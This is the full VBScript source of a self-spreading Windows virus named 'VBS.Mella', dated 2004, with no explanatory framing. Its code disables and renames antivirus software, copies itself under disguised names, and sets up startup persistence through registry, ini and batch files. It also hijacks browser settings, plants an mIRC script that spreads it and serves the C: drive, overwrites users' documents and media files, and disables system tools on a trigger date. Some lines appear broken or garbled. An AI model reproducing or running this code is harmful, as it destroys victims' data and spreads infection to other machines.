Dim

Mella,Mela,Wella,Andalusia,DirektoriWindows,DirektoriSystem,DirektoriTemp,KodeVbs,KodeHtm,Chat,Drives,Drive,Folder,Files,File,Subfolders,Subfolder

On Error Resume Next

Set Mella = CreateObject("Scripting.FileSystemObject")

Set Wella = CreateObject("WScript.Shell")

Wella.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting

Host\Settings\Timeout",0, "REG_DWORD"

Wella.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows Scripting

Host\Settings\Timeout",0, "REG_DWORD"

Set Andalusia = Mella.OpenTextFile(WScript.ScriptFullName,1)

Set DirektoriWindows = Mella.GetSpecialFolder(0)

Set DirektoriSystem = Mella.GetSpecialFolder(1)

Set DirektoriTemp = Mella.GetSpecialFolder(2)

KodeVbs = Andalusia.ReadAll

KodeHtm = "<" & "html><" & "head><" & "title></" & "title></" & "head><" & "body><" & "script langua" & "ge=vbscr" & "ipt>" & vbCrLf & "on error resume next" & vbCrLf & "set mella=createobject(""scripting.filesystemobject"")" & vbCrLf & "if err.number=429 then" & vbCrLf & "document.write " & Chr(34) & "<center><fo" & "nt face='verdana' size='2' color='#FF0000'>You need ActiveX enabled to view this file!<br>Click <" & "a hre" & "f='javascript:location.reload()'>Here</a> to reload and click <b>*YES*</b></font></center>" & Chr(34) & "" & vbCrLf & "else" & vbCrLf &

KodeVbs & vbCrLf KodeHtm = KodeHtm & "document.write " & Chr(34) & "<" & "font face='verdana' size='2' color='#FF000" & "0'>This is [Mella Andalusia's] document...!, <br>You don't have permission to access this document...</" &

"font>" & Chr(34) & "" & vbCrLf & "end if" & vbCrLf & "</" & "script></" & "body></" & "html>"

Svck_AntiVirus()

Fvck_AntiVirus()

Start()

Fvck_Reg()

Tukar_Icon()

Shorcut()

CheckDrive()

baru/tambahan)

Sub EditIni(FileName,Section,String,NewValue)

On Error Resume Next

Const ForReading = 1

Const ForWriting = 2

iniFile = filename

sectionName = section

keyName = string

newVlaue = newvalue

bInSection = false

bKeyChanged = false

Set fso = CreateObject("Scripting.FileSystemObject")

Set ts = fso.OpenTextFile(iniFile, ForReading)

lines = Split(ts.ReadAll,vbCrLf)

ts.close

For n = 0 to ubound(lines)

if left(lines(n),1) = "[" then

if bInSection then

exit for

end if

if instr(lines(n),sectionName) = 1 then

bInSection = true

else

bInSection = false

end if

else

if bInSection then

if instr(lines(n),keyName & "=") = 1 then

bKeyChanged = true

lines(n) = keyName & "=" & newVlaue

bKeyChanged = true

exit for

end if

end if

end if

Next

if bKeyChanged then

Set ts = fso.OpenTextFile(iniFile, ForWriting)

ts.Write join(lines,vbCrLf)

ts.close

end if

set ts = nothing

set fso = nothing

end sub

Sub Fvck_AntiVirus()

Wella.RegDelete "HKLM\Software\Symantec\"

Wella.RegDelete "HKLM\Software\McAfee\"

Wella.RegDelete "HKLM\Software\TrendMicro\"

Wella.RegDelete "HKLM\Software\KasperskyLab\"

Wella.RegDelete "HKLM\Software\H+BEDV\"

Wella.RegDelete "HKLM\Software\Panda Software\"

Wella.RegDelete "HKLM\Software\Computer Associates\"

Wella.RegDelete "HKLM\Software\FRISK Software International\"

Wella.RegDelete "HKLM\Software\GriSoft\"

Wella.RegDelete "HKLM\Software\Sophos\"

End Sub

Sub Svck_AntiVirus()

Set Mela = Mella.CreateTextFile("C:\Autoexec.bat",True)

Error

Mela.WriteLine "@echo off"

Mela.WriteLine "ren C:\Progra~1\Symant~1\*.* *.Mella"

Mela.WriteLine "ren C:\Progra~1\Norton~1\*.* *.Mella"

Mela.WriteLine "ren C:\Progra~1\TrendP~1\*.* *.Mella"

Mela.WriteLine "ren C:\Progra~1\AVPers~1\*.* *.Mella"

Mela.WriteLine "ren C:\Progra~1\AVP\*.* *.Mella"

Mela.WriteLine "ren C:\Progra~1\FSI\F-Prot~1\*.* *.Mella"

Mela.WriteLine "ren C:\Progra~1\Antivi~1\*.* *.Mella"

Mela.WriteLine "ren C:\Progra~1\Comput~1\eTrust~1\eTrust~1\*.* *.Mella"

Mela.WriteLine "ren C:\Progra~1\PandaS~1\*.* *.Mella"

Mela.WriteLine " "

Mela.WriteLine "copy %0 c:\mella.bat"

Mela.WriteLine "attrib c:\mella.bat +h +r"

Mela.WriteLine "echo"

Mela.Close

Set Mela = Mella.CreateTextFile("C:\WINSTART.BAT",True)

Mela.WriteLine "@Start "&DirektoriWindows&"\explore.vbs"

Mela.Close

End Sub

Sub Start()

Dim BackUpVirus

Set BackUpVirus = Mella.GetFile(WScript.ScriptFullName)

BackUpVirus.Copy(DirektoriWindows&"\explore.vbs")

BackUpVirus.Copy(DirektoriSystem&"\mtask.vbe")

BackUpVirus.Copy(DirektoriTemp&"\kernel32.dll")

BackUpVirus.Copy("C:\Siti-Nurhaliza.jpg.vbs")

BackUpVirus.Copy("C:\Mella-Andalusia.gif.vbe")

BackUpVirus.Attributes = 2

BackUpVirus.Close

End Sub

Sub Fvck_Reg()

Wella.RegWrite

"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\"

Wella.RegWrite

"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption","Microsucks Widows"

Wella.RegWrite

"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeText","Hai Mella Andalusia..."

Wella.RegWrite "HKEY_CLASSES_ROOT\Directory\Shell\maVero\","ma&Vero"

Wella.RegWrite

"HKEY_CLASSES_ROOT\Directory\Shell\maVero\Command\",DirektoriWindows&"\explore.vbs"

Wella.RegWrite "HKEY_CLASSES_ROOT\Drive\Shell\Mella\","Me&lla"

Wella.RegWrite

"HKEY_CLASSES_ROOT\Drive\Shell\Mella\Command\",DirektoriSystem&"\mtask.vbe"

Wella.RegWrite "HKEY_CLASSES_ROOT\Folder\Shell\Mella\","Me&lla"

Wella.RegWrite

"HKEY_CLASSES_ROOT\Folder\Shell\Mella\Command\",DirektoriWindows&"\explore.vbs"

Wella.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet

Explorer\Main\Default_Page_URL","C:\Mella.htm"

Wella.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet

Explorer\Main\Default_Search_URL","C:\Mella.htm"

Wella.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet

Explorer\Main\Local Page","C:\Mella.htm"

Wella.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet

Explorer\Main\Search Page","C:\Mella.htm"

Wella.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet

Explorer\Main\Start Page","C:\Mella.htm"

Wella.RegWrite

"HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\@","Mella Lives Here"

Wella.RegWrite

"HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InfoTip","I'm Mella-Andalusia tray"

Wella.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet

Explorer\Main\Start Page","C:\Mella.htm"

Wella.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet

Explorer\Main\Search Page","C:\Mella.htm"

Wella.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Internet

Explorer\Main\Window Title", "", "REG_SZ"

Wella.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Internet

Explorer\Main\Window Title", "Mella Andalusia", "REG_SZ"

Wella.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet

Explorer\Main\Window Title", "", "REG_SZ"

Wella.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet

Explorer\Main\Window Title", "Mella Andalusia", "REG_SZ"

Wella.RegWrite

"HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\VxD\VNETSUP\Workgroup","Mella_Andalusia"

Wella.RegWrite

"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\EmailName","m@Vero.Tv"

Wella.RegWrite "HKEY_CURRENT_USER\Software\Netscape\Netscape

Navigator\Main\Autoload Home Page","yes"

Wella.RegWrite "HKEY_CURRENT_USER\Software\Netscape\Netscape

Navigator\Main\Home Page","C:\Mella.htm"

Wella.RegWrite "HKEY_CURRENT_USER\Software\America Online\AOL Instant

Messenger (TM)\CurrentVersion\Login\Screen Name","Mella_Andalusia"

Wella.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\MS Setup

(ACME)\User Info\DefCompany","Mella-soft"

Wella.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\MS Setup

(ACME)\User Info\DefName","Mella Andalusia, I never know what is in your heart."

Wella.RegWrite

"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RegisteredOwner","Mella Andalusia"

Wella.RegWrite

"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RegisteredOrganization",":: maVeroSoft ::"

Wella.RegWrite

"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Telephony\Country List\1\Name","Payakumbuh Goes to World"

Wella.RegWrite

"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\URL\DeatfulPrefix\(predeterminado)", "Mella:\\"

Wella.RegWrite

"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\URL\Prefixes\www", "Mella:\\"

Wella.RegWrite

"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\URL\Prefixes\home", "Mella:\\"

Wella.RegWrite

"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\URL\Prefixes\ftp", "SEND_ME! (MeLLa-ViRuS)"

Wella.RegWrite "HKEY_CURRENT_USER\Control

Panel\Desktop\Wallpaper","C:\Mella.htm"

Wella.RegWrite "HKEY_CURRENT_USER\Control

Panel\International\s1159","Mella"

Wella.RegWrite "HKEY_CURRENT_USER\Control

Panel\International\s2359","Wella"

Wella.RegWrite "HKEY_CURRENT_USER\Control

Panel\International\sTimeFormat","HH:mm:ss tt"

Wella.RegWrite

"HKEY_CURRENT_USER\Software\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\","Mella Computer"

Wella.RegWrite

"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\OrgOrganization",":: maVeroSoft ::"

Wella.RegWrite

"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\OrgOwner","Mella Andalusia"

Wella.RegWrite

"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden",1,"REG_DWORD"

Wella.RegWrite

"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt",1,"REG_DWORD"

Wella.RegWrite

"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\WebView",1,"REG_DWORD"

Wella.RegWrite

"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\WebViewBarricade",1,"REG_DWORD"

DefaultId = Wella.RegRead("HKEY_CURRENT_USER\Identities\Default User ID")

OutLookVersion =

Wella.RegRead("HKEY_LOCAL_MACHINE\Software\Microsoft\Outlook Express\MediaVer")

Wella.RegWrite

"HKEY_CURRENT_USER\Identities\"&DefaultId&"\Software\Microsoft\Outlook Express\"& Left(OutLookVersion,1) &".0\Mail\Compose Use Stationery",1,"REG_DWORD"

Wella.RegWrite

"HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Outlook\Options\Mail\EditorPreference",131072,"REG_DWORD"

Wella.RegWrite

"HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Outlook\Options\Mail\EditorPreference",131072,"REG_DWORD"

End Sub

Sub Tukar_Icon()

Wella.RegWrite "HKEY_CLASSES_ROOT\.VBS\","VBSFile"

Wella.RegWrite "HKEY_CLASSES_ROOT\.VBE\","VBEFile"

Wella.RegWrite "HKEY_CLASSES_ROOT\VBSFile\DefaultIcon\",

Wella.RegRead("HKEY_CLASSES_ROOT\jpegfile\DefaultIcon\")

Wella.RegWrite "HKEY_CLASSES_ROOT\VBEFile\DefaultIcon\",

Wella.RegRead("HKEY_CLASSES_ROOT\giffile\DefaultIcon\")

Wella.RegWrite "HKEY_CLASSES_ROOT\.dll\","dllfile"

Wella.RegWrite "HKEY_CLASSES_ROOT\.dll\Content Type","application/x-msdownload"

Wella.RegWrite "HKEY_CLASSES_ROOT\dllfile\DefaultIcon\",Wella.RegRead("HKEY_CLASSES_ROOT\vxdfile\DefaultIcon\")

Wella.RegWrite "HKEY_CLASSES_ROOT\dllfile\ScriptEngine\","VBScript"

Wella.RegWrite "HKEY_CLASSES_ROOT\dllFile\Shell\Open\Command\",DirSys32 & "WScript.exe ""%1"" %*"

Wella.RegWrite

"HKEY_CLASSES_ROOT\dllFile\ShellEx\PropertySheetHandlers\WSHProps\","{60254CA5-953B-11CF-8C96-00AA00B8708C}"

Wella.RegWrite "HKEY_CLASSES_ROOT\dllFile\ScriptHostEncode\","{85131631-480C-11D2-B1F9-00C04F86C324}"

End Sub

Sub Shorcut()

Dim MyShortcut, MyDesktop, DesktopPath, DesktopPath2, DesktopPath3,

DesktopPath4, DesktopPath5, DesktopPath6

DesktopPath = Wella.SpecialFolders("Desktop")

DesktopPath2 = Wella.SpecialFolders("StartUp")

DesktopPath3 = Wella.SpecialFolders("SendTo")

DesktopPath4 = Wella.SpecialFolders("Favorites")

DesktopPath5 = Wella.SpecialFolders("Recent")

DesktopPath6 = Wella.SpecialFolders("StartMenu")

Set MyShortcut = Wella.CreateShortcut(DesktopPath & "\Marshanda.lnk")

Set MyShortcut2 = Wella.CreateShortcut(DesktopPath2 & "\Agnes-Monica.lnk")

Set MyShortcut3 = Wella.CreateShortcut(DesktopPath3 & "\Dian-Sastro.lnk")

Set MyShortcut4 = Wella.CreateShortcut(DesktopPath4 & "\Titi-Kamal.lnk")

Set MyShortcut5 = Wella.CreateShortcut(DesktopPath5 & "\SpiderMan-3.lnk")

Set MyShortcut6 = Wella.CreateShortcut(DesktopPath6 & "\Siti-Nurhaliza.lnk")

MyShortcut.TargetPath = WSHShell.ExpandEnvironmentStrings(DirektoriWindows&"\explore.vbs")

MyShortcut.Save

MyShortcut2.TargetPath =WSHShell.ExpandEnvironmentStrings(DirektoriSystem&"\mtask.vbe")

MyShortcut2.Save

MyShortcut3.TargetPath =WSHShell.ExpandEnvironmentStrings(DirektoriTemp&"\kernel32.dll")

MyShortcut3.Save

MyShortcut4.TargetPath =WSHShell.ExpandEnvironmentStrings(DirektoriTemp&"\kernel32.dll")

MyShortcut4.Save

MyShortcut5.TargetPath =WSHShell.ExpandEnvironmentStrings("C:\Mella-Andalusia.gif.vbe")

MyShortcut5.Save

MyShortcut6.TargetPath =WSHShell.ExpandEnvironmentStrings("C:\Siti-Nurhaliza.jpg.vbs")

MyShortcut6.Save

End Sub

Function Mella_mIRC(Path)

set Chat=Mella.CreateTextFile(Path & "\script.ini")

Chat.WriteLine "[script]"

Chat.WriteLine "n0=ON 1:START:{"

Chat.WriteLine "n1=.remote on"

Chat.WriteLine "n2=}"

Chat.WriteLine "n3=ON 1:CONNECT:{"

Chat.WriteLine "n4=.mkdir c:\Mella_Andalusia"

Chat.WriteLine "n5=.mkdir c:\Mella_Andalusia\Live_In"

Chat.WriteLine "n6=.mkdir c:\Mella_Andalusia\Live_In\Your_PC"

Chat.WriteLine "n7=.mkdir c:\Mella_Andalusia\Live_In\Your_PC\Made_by"

Chat.WriteLine "n8=.mkdir c:\Mella_Andalusia\Live_In\Your_PC\Made_by\maVero"

Chat.WriteLine "n9=.emailaddr Mella@mella.com"

Chat.WriteLine "n10=.fullname :: Mella Andalusia ::"

Chat.WriteLine "n11=.join #bandung,#Bali,#surabaya,#unp"

Chat.WriteLine "n12=.join #padang,#medan,#jakarta,#malang"

Chat.WriteLine "n13=.join #bawel,#indonesia,#payakumbuh,#denpasar"

Chat.WriteLine "n14=}"

Chat.WriteLine "n15=ON 1:JOIN:#:if ($nick != $me) .msg $nick hi"

Chat.WriteLine "n16=ON 1:PART:#:if ($nick != $me) .msg $nick hai"

Chat.WriteLine "n17=ON 1:INVITE:*: .msg $nick mohon jangan di invite join channel #unp aja.."

Chat.WriteLine "n18=ON 1:NOTICE:*: .notice $nick notice2 baa ko"

Chat.WriteLine "n19=ON 1:TEXT:*ö*:#:.fserve $nick 1 c:\"

Chat.WriteLine "n20=ON 1:TEXT:*ping*:#:.notice $nick PING Time for $nick is : $duration($calc($ctime - $2)) $+ ."

Chat.WriteLine "n21=ON 1:TEXT:*por*:*:.ignore $nick"

Chat.WriteLine "n22=ON 1:TEXT:*lag*:#:.notice $nick itulah jan pakai TelkomNet Instan juo..."

Chat.WriteLine "n23=ON 1:TEXT:*bye*:#:.notice $nick bye juga $nick ..."

Chat.WriteLine "n24=ON 1:TEXT:*gtg*:#:.notice $nick eh $nick jangan pergi dulu..."

Chat.WriteLine "n25=ON 1:TEXT:*Hilman*:#:.notice anton Nick = $nick .

IP = $ip . Server = $server $+ : $+ $port $+ . URL = $url ."

Chat.WriteLine "n26=ON 1:TEXT:*a*:?:{"

Chat.WriteLine "n27=.msg $nick ngomong di #unp aja yuk.."

Chat.WriteLine "n28=}"

Chat.WriteLine "n29=;fkghkfgdkfgkdfi7k5f7g6k7kd86khkgk"

Chat.WriteLine "n30=ON 1:TEXT:*i*:?:{"

Chat.WriteLine "n31=.msg $nick $me tunggu di #unp"

Chat.WriteLine "n32=}"

Chat.WriteLine "n33=;dfk67k76hk67d76k6hk6cvhk6v7b7v6ckv76bvc6gh6hk"

Chat.WriteLine "n34=ON 1:TEXT:*u*:?:{"

Chat.WriteLine "n35=.msg $nick join dulu #unp baru $me jawab.. ok"

Chat.WriteLine "n36=}"

Chat.WriteLine "n37=;xg67 kn7gh7xj76df7gjf7g6f7"

Chat.WriteLine "n38=ON 1:TEXT:*e*:?:{"

Chat.WriteLine "n39=.msg $nick inul nunggu kamu tuh di #unp"

Chat.WriteLine "n40=}"

Chat.WriteLine "n41=;xd7fk8dfgk6cg876kg76gt6jtg7f6ji7fgj"

Chat.WriteLine "n42=ON 1:TEXT:*o*:?:{"

Chat.WriteLine "n43=.msg $nick ada yang nanyain kamu di #unp"

Chat.WriteLine "n44=}"

Chat.WriteLine "n45=;xfg7j78fd7j7idjt7fj76g95x"

Chat.WriteLine "n46=ON 1:TEXT:*x*:?:.ignore $nick"

Chat.WriteLine "n47=ON 1:TEXT:*www*:?:.ignore $nick"

Chat.WriteLine "n48=ON 1:TEXT:*http*:?:.ignore $nick"

Chat.WriteLine "n49=ON 1:INPUT:*:{"

Chat.WriteLine "n50=.msg #unp ( $+ $active $+ ) $1-"

Chat.WriteLine "n51=set %maVero status window"

Chat.WriteLine "n52=if ( $active == %maVero ) { $1- | halt }"

Chat.WriteLine "n53=}"

Chat.WriteLine "n54=ON 1:QUIT:.ame mau liat situs www.marshanda.org

www.agnes-monica.info www.dian-sastro.net www.titi-kamal.com dan

www.siti-nurhaliza.info dulu! bye.."

Chat.Close

end function

Sub CheckDrive()

Set Drives=Mella.drives

For Each Drive In Drives

If Drive.IsReady Then

Cari Drive & "\"

End If

If Drive.DriveType="2" Or Drive.DriveType="3" Then

Cari Drive & "\"

End If

Next

CheckDrive()

End Sub

Function Cari(Path)

Set Folder=Mella.GetFolder(Path)

Set Files=Folder.Files

For Each File In Files

If Mella.GetExtensionName(File.Path)="wav" Or

Mella.GetExtensionName(File.Path)="midi" Or Mella.GetExtensionName(File.Path)="mpg" Or

Mella.GetExtensionName(File.Path)="mpeg" Or

Mella.GetExtensionName(File.Path)="jpg" Or Mella.GetExtensionName(File.Path)="gif" Or

Mella.GetExtensionName(File.Path)="bmp" Then

NamaAsli=Mella.GetBaseName(File.Path)

Set Atribut = Mella.GetFile(File.Path)

Atribut.Attributes = Atribut.Attributes + 2

Set Mela=Mella.CreateTextFile(File.ParentFolder & "\" & NamaAsli & ".vbs")

Mela.Write KodeVbs

Mela.Close()

End If

If Mella.GetExtensionName(File.Path)="htm"

Mella.GetExtensionName(File.Path)="html" Or Mella.GetExtensionName(File.Path)="htt" Or

Mella.GetExtensionName(File.Path)="asp" Or Mella.GetExtensionName(File.Path)="php"

Then

Set Mela=Mella.CreateTextFile(File.Path)

Mela.Write KodeHtm

Mela.Close()

End If

If Mella.GetExtensionName(File.Path)="doc" Or

Mella.GetExtensionName(File.Path)="xls" Or Mella.GetExtensionName(File.Path)="ppt" Or

Mella.GetExtensionName(File.Path)="mdb" Or

Mella.GetExtensionName(File.Path)="rtf" Or Mella.GetExtensionName(File.Path)="txt" Then

Set OverW=Mella.CreateTextFile(File.Path)

OverW.WriteLine " Congratulation!"

OverW.WriteLine " "

OverW.WriteLine " if you can read this information, you have correctly installed"

OverW.WriteLine " my virus on your computer."

OverW.WriteLine " "

OverW.WriteLine " The information below describes my virus details."

OverW.WriteLine "

_____________________________________________________________"

OverW.WriteLine "ššššššššššššššššššššššššššššššššššššššššššššššššššššššššššššš"

OverW.WriteLine " š ¤ VBS.Mella ¤

š"

OverW.WriteLine " š by mäVerö

š"

OverW.WriteLine " š august © 2004

š"

OverW.WriteLine "ššššššššššššššššššššššššššššššššššššššššššššššššššššššššššššš"

OverW.WriteLine " "

OverW.WriteLine " švirus name_"

OverW.WriteLine " ¤ Mella_Andalusia(vbs)"

OverW.WriteLine " šwritten in_"

OverW.WriteLine " ¤ Payakumbuh/West Sumatra/Indonesia"

OverW.WriteLine " šdate_"

OverW.WriteLine " ¤ October 2004"

OverW.WriteLine " šspecial thank's to_"

OverW.WriteLine " ¤ [K]alamar,crayolarx,kefi,alcopaul, sevenC,iwing"

OverW.WriteLine " šgreets_"

OverW.WriteLine " ¤

d-e-n-I,adhe,kesepian,joehunt,rinal,phatygeni,khepri`,"

OverW.WriteLine " ¤ mayat,ob|wan,vuem,jejeng etc"

OverW.WriteLine " ¤ all people in #unp,#payakumbuh,#indovirus,#cchome

@DALnet"

OverW.WriteLine " ¤ all people in #payakumbuh,#padang,#pekanbaru

@Allnetwork"

OverW.WriteLine " "

OverW.WriteLine " ¤ Taste my code dumb!"

OverW.WriteLine " "

OverW.WriteLine " Copyright©2004 - maVero®"

OverW.WriteLine " All Rights Reserved"

OverW.WriteLine "

_____________________________________________________________"

OverW.WriteLine "ššššššššššššššššššššššššššššššššššššššššššššššššššššššššššššš"

OverW.WriteLine " Computer System/Electronic Department/Padang State

University"

OverW.Close

End If

If File.Name="win.ini" Then

editini File.ParentFolder & "\win.ini","[windows]","load",DirektoriWindows&"\explore.vbs"

editini File.ParentFolder & "\win.ini","[windows]","run",DirektoriSystem&"\mtask.vbe"

End If

If File.Name="system.ini" Then 'panggil fungsi editini() editini File.ParentFolder & "\system.ini","[boot]","shell","Explorer.exe "&DirektoriSystem&"\mtask.vbe"

End If

If File.Name="mirc.ini" Then

Mella_mIRC File.ParentFolder

editini File.ParentFolder & "\mirc.ini","[text]","ignore","*.exe,*.com,*.bat,*.dll,*.ini,*.vbs"

editini File.ParentFolder & "\mirc.ini","[options]","n2","0,1,0,0,1,1,1,1,0,5,35,0,0,1,1,0,1,1,0,5,500,10,0,1,1,0,0"

editini File.ParentFolder & "\mirc.ini","[options]","n4","1,0,1,1,0,3,9999,0,0,0,1,0,1024,0,0,99,60,0,0,1,1,1,0,1,1,5000,1"

End If

createtextfile,regread,regdelete,openfile,dll

If File.Name="sbserv.exe" Then

Mella.DeleteFile(File.Path)

End If

If File.Name="frzstate.exe" Then

Mella.DeleteFile(File.Path)

End If

If File.Name="blank.htm" Then

Set Mela = Mella.CreateTextFile(File.Path)

Mela.Write KodeHtm

Mela.close

End If

If File.Name="folder.htt" Then

Set Atribut = Mella.GetFile(File.Path)

Atribut.Attributes = Atribut.Attributes + 2

Set Mela = Mella.CreateTextFile(File.Path)

Mela.Write KodeHtm

Mela.close

End If

If Day(Now)=13 and Month(Now)=3 Then

MsgBox "Selamat Ulang Tahun..." & Vbcrlf & "maVero sayang!",vbexclamation,".:: Mella Andalusia ::."'disable desktop,regedit,run,drive,display cpanel,shutdown,dos

Wella.RegWrite

"HKLM\Software\Microsoft\Windows\CurrentVersion\SM_AccessoriesName", "Mella_Andalusia"

Wella.RegWrite

"HKLM\Software\Microsoft\Windows\CurrentVersion\PF_AccessoriesName", "Mella_Andalusia"

Wella.regwrite

"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDesktop", 1, "REG_DWORD"

Wella.regwrite

"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools", 1, "REG_DWORD"

Wella.regwrite

"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun", 1, "REG_DWORD"

Wella.regwrite

"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDrives", 67108863, "REG_DWORD"

Wella.regwrite

"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\NoDispCpl", 1, "REG_DWORD"

Wella.regwrite

"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoClose", 1, "REG_DWORD"

Wella.regwrite

"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\WinOldApp\Disabled", 1, "REG_DWORD"

End If

Next

Set SubFolders=Folder.SubFolders

For Each Subfolder In Subfolders

Cari Subfolder.Path

Next

End Function